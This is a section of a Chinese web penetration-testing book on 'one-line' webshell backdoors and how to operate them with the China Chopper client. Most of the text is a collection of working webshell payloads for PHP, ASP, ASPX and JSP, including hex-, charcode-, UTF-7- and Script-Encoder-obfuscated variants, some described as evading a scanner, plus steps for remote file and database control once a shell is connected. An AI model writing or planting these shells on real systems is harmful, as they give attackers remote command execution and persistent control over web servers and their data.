Web渗透技术及实战案例解析
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

1.15 一句话后门利用及操作

一句话后门是Web渗透中用得最多的一个必备工具,流行一句话后门分为Asp、Asp.net、Jsp和Php四种类型。一句话后门利用的实质就是通过执行SQL语句、添加或者更改字段内容等操作,在数据库表或者相应字段插入“<%execute request("pass")%>”、“<%eval request("pass")%>”、“<?php eval($_POST[pass])?>”、“<?php @eval($_ POST[pass])?>”、“<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>”等代码。然后通过中国菜刀、lake一句话后门客户端等工具进行连接。只需要知道上述代码被插入到的具体文件以及连接密码,即可进行WebShell的一些操作,它是基于B/S结构的架构。下面介绍如何利用中国菜刀(http://www.maicaidao.com)来进行一句话木马操作。

1.15.1 执行中国菜刀

中国菜刀英文名字“chopper”,可以到官方网站http://www.maicaidao.com进行下载,解压缩后直接运行chopper.exe即可,如图1-119所示,默认提供了http://www. maicaidao.com/server.asp、http://www.maicaidao.com/server.aspx、http://www.maicaidao.com/ server.php三种类型。

图1-119 执行中国菜刀

1.15.2 添加Shell

在中国菜刀中右键单击,在弹出的菜单中选择“添加”命令,即可添加Shell地址,如图1-120所示,在地址中输入一句话木马Shell地址,地址后面是一句话木马的连接密码,在配置中选择脚本类型,程序会自动识别脚本类型,最后单击“添加”按钮即可添加一个Shell地址。

图1-120 添加Shell

1.15.3 连接一句话后门

回到中国菜刀主界面,双击刚才添加到Shell地址,即可连接一句话后门,如图1-121所示,如果后门执行成功,则会网站的目录结构和详细文件等信息。

图1-121 连接一句话后门

1.15.4 执行文件操作

通过中国菜刀客户端可以方便地对文件进行操作,上传文件、下载文件、编辑、删除、复制、重命名、修改文件(夹)时间、新建和Access管理等操作。在中国菜刀中还可以对数据库进行管理,通过配置数据库用户名和用户密码等参数即可对数据库进行操作,如图1-122所示。

图1-122 执行文件操作

1.15.5 有关一句话后门的收集与整理

(1)php非一句话经典后门

php运行时如果遇见字符``(键盘上~符号的下挡键)总会尝试着执行“``”里面包含的命令,并返回命令执行的结果(string类型);其局限性在于特征码比较明显,“``”符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报,而且“``”里面不能执行php代码;

将以下代码保存为test.php

<?php
echo `$_REQUEST[id]`;
?>

执行代码:

test.php?id=dir c:/ 即可查看C盘文件,id后的参数可以直接执行命令。

(2)加密的asp一句话后门

将以下代码保存为asp文件,或者将以下代码插入到asp文件中,然后通过“黑狐专用一句话木马加强版”进行连接,其密码为“#”,执行效果如图1-123所示。

<script language=vbs runat=server>
Execute(HextoStr("65786563757465287265717565737428636872283335292929"))
Function HextoStr(data)
HextoStr="EXECUTE """""
C="&CHR(&H"
N=")"
Do While Len(data)>1
If IsNumeric(Left(data,1)) Then
HextoStr=HextoStr&C&Left(data,2)&N
data=Mid(data,3)
Else
HextoStr=HextoStr&C&Left(data,4)&N
data=Mid(data,5)
End If
Loop
End Function
</script>
<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(String. fromCharCode (116, 114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109, 40,39,35,39,41,43,39,39,41,125,99,97,116,99,104,40,101,41,123,125))</SCRIPt>

图1-123 使用加密的一句话木马

(3)新型一句话后门

<%
Set o = Server.CreateObject("ScriptControl")
o.language = "vbscript"
o.addcode(Request("cmd"))
%>
(3)常见的asp一句话后门收集
asp一句话木马:
<%%25Execute(request("a"))%%25>
<%Execute(request("a"))%>
%><%execute request("a")%><%
<script language=VBScript runat=server>execute request("a")</script>
<%25Execute(request("a"))%25>
%><%execute request("yy")%>
<%execute request(char(97))%>
<%eval request(char(97))%>
":execute request("value"):a="
<script language=VBScript runat=server>if request(chr(35))<>"""" then
ExecuteGlobal request(chr(35)) </script>
在数据库里插入的一句话木马
┼攠數畣整爠煥敵瑳∨∣┩愾
┼癥污爠煥敵瑳∨≡┩> 密码为: a
utf-7的马
<%@ codepage=65000%>
<% response.Charset="936"%>
<%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>
Script Encoder 加密
<%@ LANGUAGE = VBScript.Encode %>
<%#@~^PgAAAA==r6P. ;!+/D`14Dv&X#*@!@*ErPPD4+ P2Xn^ED+VVG4Cs,Dn;!n/ D`^4M`&Xb*oBMAAA==^#~@%>
可以躲过雷客图的一句话。
<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""1""))")
%>
php一句话
<? php eval($_POST[cmd]);?>
<?php eval($_POST[cmd]);?>
<?php system($_REQUEST['cmd']);?>
<?php eval($_POST[1]);?>
aspx一句话
<script language="C#" runat="server">
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
</script>
JSP一句话后门
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter(" f"))).write(request.getParameter("t").getBytes());
%>